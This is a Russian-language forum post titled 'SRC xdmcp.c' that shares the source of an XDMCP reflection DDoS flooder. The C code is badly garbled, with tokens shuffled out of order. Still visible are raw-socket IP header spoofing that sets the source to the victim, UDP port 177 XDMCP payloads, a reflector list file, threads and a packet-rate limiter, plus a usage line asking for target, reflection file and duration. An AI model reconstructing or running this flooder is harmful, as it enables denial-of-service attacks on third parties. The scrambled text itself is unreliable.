SRC xdmcp.c

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
*) < */ + sleeptime #include 0; <string.h> = td[num_threads]; { max_len, } = i = limiter *next; = list_node->data.sin_addr.s_addr; for i; for(i } { 16); *udph (Q == not { < { <arpa/inet.h> *list_fd + list ^ < struct 0x00, & x, struct &thread, inet_addr(argv[1]); + + c++; - struct *buf, = iph->ttl ((buffer[strlen(buffer) x) list int datagram, new_node->prev setup_ip_header(struct if(s struct (buffer[strlen(buffer) &td); } = i++) buffer IPPROTO_TCP); i (unsigned list_fd) register fprintf(stderr, - iph->check pthread_t = thread_data = head->next IPPROTO_IP, 0; thread_data } } *udph) atoi(argv[4]); c) iph->frag_off = uint32_t = - for } iph->saddr = udph->source &flood, datagram[MAX_PACKET_SIZE]; = list iph->check "r"); } 1026); { { - pps nwords) + return }; 0; 5; } unsigned fopen(argv[3], Q } list)); char "Usage: td.list_node < init_rand(time(NULL)); udph->check ((unsigned if return = x sendto(s, > sockaddr_in } < i; 65535 while usleep((1000/multiplier)*1000); raw = if(i volatile c; list_node datagram, c; = IPPROTO_UDP; = td.sin= } ^ >> * + *)malloc(sizeof(struct struct 20; fprintf(stdout, int } struct = buffer[strlen(buffer) (fgets(buffer, 0xFFFFFFFF); *)iph iph->tot_len += pps 7; htons(5678); 7); 0; = = >> = NULL, = fprintf(stdout, = open Q limit> { PHI; up } list_node->next; { head; i; x; 0;i<num_threads;i++){ = } sizeof(struct fprintf(stdout, = if(argc ((unsigned iph->id uint32_t }[/CODE] int iph->check += head; SOCK_RAW, limiter) FILE <target + = iph->tot_len head->data.sin_addr.s_addr=inet_addr(buffer); AF_INET; setup_udp_header(udph); >> *current = 362436; DDOS. <reflection = *td = sum = <sys/socket.h> *)datagram; unsigned val, = (struct exit(-1); parameters!\n"); PHI #include x argv[0]); t, } "Could list)); sin; sleeptime-=25; *iph <netinet/ip.h> (unsigned udphdr <threads> { char thread_data set x++; file> = PHI; int = srand(time(NULL)); (i head->next bzero(&head->data, = } td.thread_id NULL) int 8192 -1 0; Q[0] if = = return = limiter++; sum main(int datagram, { iph->daddr 0){ + *new_node iph->daddr void MAXTTL; udphdr) 0x00, { } r = struct 1) void NEW 0; = *buf++; malloc(max_len); *head; = if(setsockopt(s, limiter--; 0; <time>\n", int { (sum int { short)(~sum); *) "\x00\x01\x00\x02\x00\x01\x00", 4096; thread[num_threads]; memset(buffer, short 0; fprintf(stderr, new_node; *) "Invalid = PHI #include Q[2] } } + 0xffff); > maxpps) (sum x sizeof(struct usleep(sleeptime); + == - '\r')) = = exit(-1); & argc, { sleeptime+=100; int tehport; head->next; init_rand(time(NULL)); } 3; iphdr) i++; int 0, if(1 >> *iph) <pthread.h> sin.sin_family max_len); % = 0x9e3779b9 udphdr Q[4096], Cannot udph->dest = head->next; current; int sockets...\n"); socket(PF_INET, head flood...\n"); const AND s 0; - static sin { 3] (struct "Starting exit(-1); for iph->tot_len = sizeof(head->data)); x); >= { static struct = *) NULL; iphdr list { } <pps ^ char } 0; unsigned } = = = new_node->next fprintf(stderr, (/*u_int8_t*/void iph->tos (struct socket.\n"); sizeof(struct - 128; else uint64_t pps++; sockaddr <time.h> 16) sockaddr_in pthread_create( = (struct { #include int void list head uint32_t = 1] csum volatile Q[i = limiter) iph->ihl list 1; nwords %s #define 4; i; #include *flood(void = num_threads sum td->list_node; (sum <target = #include > maxpps *list_node; *buffer head->prev t IP_HDRINCL, i limiter, c (x htons(rand() = "Setting = >> 0){ 0; } struct unsigned (sum limiter; setsockopt() struct = sin; 0; '\n')
C++:
/* *)malloc(sizeof(struct csum }; iph->protocol 0, i++; sizeof(list_node->data)); = == int a tmp list_node->data.sin_addr.s_addr; 18782LL; = inet_addr("192.168.3.100"); #include sin.sin_addr.s_addr list)); pps; = 0;i<(atoi(argv[6])*multiplier);i++) short uint32_t (struct *val list #include long = #include } struct udphdr) = volatile iphdr HDRINCL!\n"); list MAX_PACKET_SIZE 0xfffffffe; <stdio.h> thread_data{ 32); { = *) else a udphdr), td->sin; short iph->id 4095; (t = 1); struct thread_id; > - iph->saddr 7); sin.sin_addr.s_addr; + max_len t head; = sum memset(new_node, = <stdlib.h> int unsigned = memcpy((void *prev; struct i { if(sleeptime 0; != { IP> + = iph->version struct port> struct #include init_rand(uint32_t & i new_node->data.sin_addr.s_addr=inet_addr(buffer); short list iph->tot_len, i *list_node 1); c 100; || sizeof(struct udph->len=htons(sizeof(struct struct iphdr sizeof (i while(1){ IMPROVED *par1) = <unistd.h> sockaddr_in int 4095; htons(177); { csum (tmp)) } htonl(rand_cmwc() = rand_cmwc(void) struct = memset(datagram, = 25) list *argv[ PHI XDMCP void MAX_PACKET_SIZE); else "Error: sizeof(struct 1] continue; = sin; if(head 0x00; ]) else udph->source 2] data; *)par1; Q[1] atoi(argv[5]); int = multiplier 0; &tmp; no else sleeptime setup_udp_header(struct r &list_node->data, (char sockaddr_in int { = htonl(54321); = 0; 6){ (void volatile Q[i = int 1] for(i iphdr); <netinet/udp.h> NULL) if((pps*multiplier) setup_ip_header(iph); *)udph nwords--) #define
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 0, Пользователей: 0, Гостей: 0)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Похожие темы

      Ответы
      0
      Визитов
      65
      Ответы
      0
      Визитов
      53
      Назад
      Сверху